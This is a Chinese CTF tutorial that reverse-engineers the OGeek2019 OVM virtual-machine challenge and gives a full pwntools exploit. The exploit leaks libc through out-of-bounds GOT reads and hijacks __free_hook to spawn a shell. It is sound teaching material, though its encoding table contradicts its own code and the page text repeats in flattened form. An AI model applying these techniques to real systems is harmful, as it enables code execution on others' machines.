vmpwn入门1
字数 2111 2025-08-22 12:23:00

VMPWN入门教程:从原理到实践

1. 什么是VMPWN

VMPWN是指虚拟机逃逸或虚拟机安全漏洞利用技术,在CTF比赛中通常指:

  1. 汇编类:在程序中实现运算指令来模拟程序的运行
  2. 编译类:在程序中自定义运算指令的程序

常见漏洞点:越界读写,题目难度主要集中在逆向分析上。

2. 示例题目分析:[OGeek2019 Final]OVM

2.1 程序保护机制

  • 没有开启Canary
  • 其他保护全开(NX、PIE等)
  • 使用Ubuntu 16.04自带的2.23环境

2.2 主要函数分析

main函数

int __fastcall main(int argc, const char **argv, const char **envp) {
    unsigned __int16 v4; // [rsp+2h] [rbp-Eh] BYREF
    unsigned __int16 v5; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int16 v6; // [rsp+6h] [rbp-Ah] BYREF
    unsigned int v7; // [rsp+8h] [rbp-8h]
    int i; // [rsp+Ch] [rbp-4h]
    
    comment = malloc(0x8CuLL);
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
    signal(2, signal_handler);
    
    // 初始化虚拟机寄存器
    write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
    write(1, "PC: ", 4uLL);
    _isoc99_scanf("%hd", &v5);
    getchar();
    write(1, "SP: ", 4uLL);
    _isoc99_scanf("%hd", &v6);
    getchar();
    reg[13] = v6;  // SP
    reg[15] = v5;  // PC
    
    // 输入代码大小
    write(1, "CODE SIZE: ", 0xBuLL);
    _isoc99_scanf("%hd", &v4);
    getchar();
    
    // 检查代码大小
    if (v6 + (unsigned int)v4 > 0x10000 || !v4) {
        write(1, "EXCEPTION\n", 0xAuLL);
        exit(155);
    }
    
    // 输入代码
    write(1, "CODE: ", 6uLL);
    running = 1;
    for (i = 0; v4 > i; ++i) {
        _isoc99_scanf("%d", &memory[v5 + i]);
        if ((memory[i + v5] & 0xFF000000) == 0xFF000000)
            memory[i + v5] = -536870912;
        getchar();
    }
    
    // 虚拟机主循环
    while (running) {
        v7 = fetch();
        execute(v7);
    }
    
    // 结束处理
    write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
    read(0, comment, 0x8CuLL);
    sendcomment(comment);
    write(1, "Bye\n", 4uLL);
    return 0;
}

fetch函数

__int64 fetch() {
    int v0; // eax
    v0 = reg[15];
    reg[15] = v0 + 1;
    return (unsigned int)memory[v0];
}

execute函数(关键)

ssize_t __fastcall execute(int opcode) {
    // 提取指令字段
    v4 = (opcode & 0xF0000u) >> 16;  // 目标寄存器
    v3 = (unsigned __int16)(opcode & 0xF00) >> 8;  // 源寄存器1
    v2 = opcode & 0xF;  // 源寄存器2/立即数
    result = HIBYTE(opcode);  // 操作码
    
    // 指令分发
    if (HIBYTE(opcode) == 0x70) {  // ADD
        reg[v4] = reg[v2] + reg[v3];
    } else if (HIBYTE(opcode) > 0x70u) {
        // 其他指令处理...
    } else if (HIBYTE(opcode) == 0x30) {  // LOAD (漏洞点)
        reg[v4] = memory[reg[v2]];
    } else if (HIBYTE(opcode) > 0x30u) {
        switch (HIBYTE(opcode)) {
            case 'P':  // PUSH
                LODWORD(result) = reg[13];
                reg[13] = result + 1;
                result = (int)result;
                stack[(int)result] = reg[v4];
                break;
            case '`':  // POP
                --reg[13];
                result = (ssize_t)reg;
                reg[v4] = stack[reg[13]];
                break;
            case '@':  // STORE (漏洞点)
                result = (ssize_t)memory;
                memory[reg[v2]] = reg[v4];
                break;
        }
    }
    // 其他指令处理...
    return result;
}

sendcomment函数

void __fastcall sendcomment(void *a1) {
    free(a1);
}

2.3 关键漏洞分析

  1. LOAD指令(0x30)reg[v4] = memory[reg[v2]]

    • 使用movsxd指令,进行有符号扩展
    • 如果reg[v2]为负数,可以越界读取内存
  2. STORE指令(0x40)memory[reg[v2]] = reg[v4]

    • 同样存在有符号扩展问题
    • 可以越界写入内存
  3. UAF漏洞

    • comment堆块在程序开始时分配
    • 结束时通过read输入数据并free
    • 可以劫持free_hook实现任意代码执行

2.4 指令编码格式

字段位置 位数 含义
24-31 8 操作码
20-23 4 目标寄存器
12-15 4 源寄存器1
0-3 4 源寄存器2/立即数

2.5 完整指令集

指令 操作码 功能
MOV reg, op 0x10 reg[dest] = op
MOV reg, 0 0x20 reg[dest] = 0
LOAD 0x30 reg[dest] = memory[reg[src2]]
STORE 0x40 memory[reg[src2]] = reg[dest]
PUSH 0x50 stack[result] = reg[dest]
POP 0x60 reg[dest] = stack[reg[13]]
ADD 0x70 reg[dest] = reg[src2] + reg[src1]
SUB 0x80 reg[dest] = reg[src1] - reg[src2]
AND 0x90 reg[dest] = reg[src2] & reg[src1]
OR 0xA0 reg[dest] = reg[src2]
XOR 0xB0 reg[dest] = reg[src2] ^ reg[src1]
SHL 0xC0 reg[dest] = reg[src1] << reg[src2]
SHR 0xD0 reg[dest] = reg[src1] >> reg[src2]
EXIT 0xE0 停止虚拟机
HALT 0xFF 打印寄存器值并停止

3. 利用思路

3.1 泄露libc地址

  1. 利用LOAD指令的负数索引越界读取GOT表

    • stdin的GOT地址:0x201F80
    • memory数组地址:0x202060
    • 偏移:-56 (0xFFFFFFC8)
  2. 构造负数索引:

    • 通过移位和加法运算构造-56
  3. 读取GOT表项:

    • 需要两个寄存器分别存储地址的高32位和低32位

3.2 劫持free_hook

  1. 计算free_hook地址:

    • free_hook = leaked_addr + offset
  2. 修改comment指针:

    • 使用STORE指令越界写入free_hook - 8
  3. 构造payload:

    • 前8字节:/bin/sh\x00
    • 后8字节:system地址

3.3 完整利用流程

  1. 构造负数索引读取GOT表
  2. 泄露libc地址
  3. 计算free_hooksystem地址
  4. 修改comment指针指向free_hook - 8
  5. 输入/bin/sh\x00 + system_addr
  6. 触发free执行system("/bin/sh")

4. EXP编写示例

from pwn import *

context.log_level = 'debug'

def code(op, dest, src1, src2):
    return (op << 24) | (dest << 16) | (src1 << 8) | src2

# 构造-56的指令序列
payload = [
    code(0x10, 0, 0, 8),       # reg[0] = 8
    code(0x10, 1, 0, 0xff),    # reg[1] = 0xff
    code(0x10, 2, 0, 0xff),    # reg[2] = 0xff
    code(0xc0, 2, 2, 0),       # reg[2] = reg[2] << reg[0] = 0xff00
    code(0x70, 2, 2, 1),       # reg[2] = reg[2] + reg[1] = 0xffff
    code(0xc0, 2, 2, 0),       # reg[2] = reg[2] << reg[0] = 0xffff00
    code(0x70, 2, 2, 1),       # reg[2] = reg[2] + reg[1] = 0xffffff
    code(0xc0, 2, 2, 0),       # reg[2] = reg[2] << reg[0] = 0xffffff00
    code(0x10, 1, 0, 0xc8),    # reg[1] = 0xc8
    code(0x70, 2, 2, 1),       # reg[2] = reg[2] + reg[1] = 0xffffffc8 = -56
    
    # 读取GOT表项
    code(0x30, 3, 0, 2),       # reg[3] = mem[reg[2]] = mem[-56]
    code(0x10, 1, 0, 1),       # reg[1] = 1
    code(0x70, 2, 2, 1),       # reg[2] = reg[2] + reg[1] = -55
    code(0x30, 4, 0, 2),       # reg[4] = mem[reg[2]] = mem[-55]
    
    # 计算free_hook地址
    code(0x10, 1, 0, 0x10),    # reg[1] = 0x10
    code(0xc0, 1, 1, 0),       # reg[1] = reg[1] << reg[0] = 0x1000
    code(0x10, 0, 0, 0x90),    # reg[0] = 0x90
    code(0x70, 1, 1, 0),       # reg[1] = reg[1] + reg[0] = 0x1090
    code(0x70, 3, 3, 1),       # reg[3] = reg[3] + reg[1] = mem[-56] + 0x1090 = free_hook - 8
    
    # 修改comment指针
    code(0x10, 1, 0, 47),      # reg[1] = 47
    code(0x70, 2, 2, 1),       # reg[2] = reg[2] + reg[1] = -55 + 47 = -8
    code(0x40, 3, 0, 2),       # mem[reg[sr2]] = reg[dest] 改comment
    code(0x10, 1, 0, 1),       # reg[1] = 1
    code(0x70, 2, 2, 1),       # reg[2] = reg[2] + reg[1] = -8 + 1 = -7
    code(0x40, 4, 0, 2),       # mem[reg[sr2]] = reg[dest]
    
    # 退出
    code(0xE0, 0, 0, 0)
]

# 交互过程
io = process('./ovm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# 设置PC和SP
io.sendlineafter('PC: ', '0')
io.sendlineafter('SP: ', '0')

# 发送代码
io.sendlineafter('CODE SIZE: ', str(len(payload)))
for ins in payload:
    io.sendline(str(ins))

# 获取泄露的地址
io.recvuntil('R3: ')
low_addr = int(io.recv(8), 16)
io.recvuntil('R4: ')
high_addr = int(io.recv(4), 16)
free_hook = (high_addr << 32) + low_addr

# 计算libc基址和system地址
libc_base = free_hook + 8 - libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

# 发送payload
p1 = b'/bin/sh\x00' + p64(system_addr)
io.sendlineafter('HOW DO YOU FEEL AT OVM?\n', p1)

io.interactive()

5. 总结

  1. 逆向分析:理解虚拟机指令集和内存布局是关键
  2. 漏洞利用
    • 利用有符号扩展实现越界读写
    • 通过GOT表泄露libc地址
    • 劫持free_hook实现任意代码执行
  3. 构造技巧
    • 使用移位和加法运算构造特定值
    • 注意32位和64位地址的处理

通过这个例子,可以掌握基本的VMPWN题目分析方法和利用技巧,为进一步学习更复杂的虚拟机题目打下基础。

VMPWN入门教程:从原理到实践 1. 什么是VMPWN VMPWN是指虚拟机逃逸或虚拟机安全漏洞利用技术,在CTF比赛中通常指: 汇编类 :在程序中实现运算指令来模拟程序的运行 编译类 :在程序中自定义运算指令的程序 常见漏洞点: 越界读写 ,题目难度主要集中在逆向分析上。 2. 示例题目分析:[ OGeek2019 Final ]OVM 2.1 程序保护机制 没有开启Canary 其他保护全开(NX、PIE等) 使用Ubuntu 16.04自带的2.23环境 2.2 主要函数分析 main函数 fetch函数 execute函数(关键) sendcomment函数 2.3 关键漏洞分析 LOAD指令(0x30) : reg[v4] = memory[reg[v2]] 使用 movsxd 指令,进行有符号扩展 如果 reg[v2] 为负数,可以越界读取内存 STORE指令(0x40) : memory[reg[v2]] = reg[v4] 同样存在有符号扩展问题 可以越界写入内存 UAF漏洞 : comment 堆块在程序开始时分配 结束时通过 read 输入数据并 free 可以劫持 free_hook 实现任意代码执行 2.4 指令编码格式 | 字段位置 | 位数 | 含义 | |---------|------|------| | 24-31 | 8 | 操作码 | | 20-23 | 4 | 目标寄存器 | | 12-15 | 4 | 源寄存器1 | | 0-3 | 4 | 源寄存器2/立即数 | 2.5 完整指令集 | 指令 | 操作码 | 功能 | |------|--------|------| | MOV reg, op | 0x10 | reg[ dest ] = op | | MOV reg, 0 | 0x20 | reg[ dest ] = 0 | | LOAD | 0x30 | reg[ dest] = memory[ reg[ src2] ] | | STORE | 0x40 | memory[ reg[ src2]] = reg[ dest ] | | PUSH | 0x50 | stack[ result] = reg[ dest ] | | POP | 0x60 | reg[ dest] = stack[ reg[ 13] ] | | ADD | 0x70 | reg[ dest] = reg[ src2] + reg[ src1 ] | | SUB | 0x80 | reg[ dest] = reg[ src1] - reg[ src2 ] | | AND | 0x90 | reg[ dest] = reg[ src2] & reg[ src1 ] | | OR | 0xA0 | reg[ dest] = reg[ src2] | reg[ src1 ] | | XOR | 0xB0 | reg[ dest] = reg[ src2] ^ reg[ src1 ] | | SHL | 0xC0 | reg[ dest] = reg[ src1] << reg[ src2 ] | | SHR | 0xD0 | reg[ dest] = reg[ src1] >> reg[ src2 ] | | EXIT | 0xE0 | 停止虚拟机 | | HALT | 0xFF | 打印寄存器值并停止 | 3. 利用思路 3.1 泄露libc地址 利用LOAD指令的负数索引越界读取GOT表 stdin 的GOT地址:0x201F80 memory 数组地址:0x202060 偏移:-56 (0xFFFFFFC8) 构造负数索引: 通过移位和加法运算构造-56 读取GOT表项: 需要两个寄存器分别存储地址的高32位和低32位 3.2 劫持free_ hook 计算 free_hook 地址: free_hook = leaked_addr + offset 修改 comment 指针: 使用STORE指令越界写入 free_hook - 8 构造payload: 前8字节: /bin/sh\x00 后8字节: system 地址 3.3 完整利用流程 构造负数索引读取GOT表 泄露libc地址 计算 free_hook 和 system 地址 修改 comment 指针指向 free_hook - 8 输入 /bin/sh\x00 + system_addr 触发 free 执行 system("/bin/sh") 4. EXP编写示例 5. 总结 逆向分析 :理解虚拟机指令集和内存布局是关键 漏洞利用 : 利用有符号扩展实现越界读写 通过GOT表泄露libc地址 劫持free_ hook实现任意代码执行 构造技巧 : 使用移位和加法运算构造特定值 注意32位和64位地址的处理 通过这个例子,可以掌握基本的VMPWN题目分析方法和利用技巧,为进一步学习更复杂的虚拟机题目打下基础。